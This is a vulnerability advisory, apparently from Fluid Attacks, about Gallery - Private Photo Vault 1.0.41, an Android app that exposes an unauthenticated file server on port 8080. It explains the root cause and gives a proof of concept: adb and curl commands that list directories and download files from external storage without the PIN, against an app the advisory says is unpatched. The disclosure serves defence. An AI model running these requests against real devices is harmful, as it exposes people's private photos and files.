Gallery - Private Photo Vault 1.0.41 - Unauthenticated local-network HTTP file exposure

Description

Gallery - Private Photo Vault 1.0.41 starts an unauthenticated HTTP server that is reachable from the local network. The server listens on TCP port 8080 and serves files and directory listings from Android external storage.

An attacker connected to the same Wi-Fi or adjacent local network can send HTTP requests to the device IP address and enumerate directories or retrieve files without knowing the user's in-app PIN. This defeats the privacy expectation created by the application's photo-vault and album-locker features.

Vulnerability

Root Cause

The application exposes a file-serving Android service without binding it to an authenticated user action or restricting access to trusted clients.

The implementation combines several unsafe decisions:

1. WebService is declared as an exported Android service and no manifest permission is shown for it.

2. MainActivity.onResume() starts the service automatically during normal app use.

3. WebService.onHandleIntent() configures a web server on TCP port 8080.

4. The server document root is set to Environment.getExternalStorageDirectory().getAbsolutePath().

5. The HTTP request handler returns directory listings or file bytes based on requested paths.

6. No authentication, authorization, PIN verification, session token, pairing code, or user confirmation is enforced for HTTP clients.

The application process binds port 8080 and serves a directory listing without a PIN, token, pairing step, or other authentication.

PoC

Preconditions

• Install Gallery - Private Photo Vault version 1.0.41 on an Android device.

• Launch the application once.

• Put the Android device and the attack workstation on the same Wi-Fi or otherwise adjacent local network.

• Identify the Android device IP address.

Step by step

1. Confirm the package process is listening. From a local shell:

adb shell su -c 'lsof | grep 8080'

adb shell su -c 'lsof | grep 8080'

adb shell su -c 'lsof | grep 8080'

adb shell su -c 'lsof | grep 8080'

Expected result:

bt.photo.video.lock.album ... TCP [::]:8080->[::]:0 (LISTEN)

2. From the workstation, request the HTTP root:

curl "http://<DEVICE_IP>:8080/"

Expected result:

• The server returns HTTP 200 OK.

• The response contains an HTML directory listing.

• No PIN, credential, cookie, bearer token, pairing code, or other authentication material is required.

3. From the workstation, request a listed path:

curl "http://<DEVICE_IP>:8080/DCIM/Screenshots/"

4. Download a listed file

curl "http://<DEVICE_IP>:8080/<PATH_FROM_LISTING>" -o retrieved-file

Expected result:

• The file is returned directly by the HTTP server.

• The in-app locker/PIN is not consulted.

Evidence of Exploitation

• Video of exploitation:

• Static evidence:

Our security policy

We have reserved the ID CVE-2026-77884 to refer to this issue from now on.

Disclosure policy

System Information

• Product: Gallery - Private Photo Vault

• Version: 1.0.41

• Package name: bt.photo.video.lock.album

• Operating System: Android 8.0 and up

References

• Product page: https://play.google.com/store/apps/details?id=bt.photo.video.lock.album

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Andrés Ramos from Fluid Attacks' Offensive Team.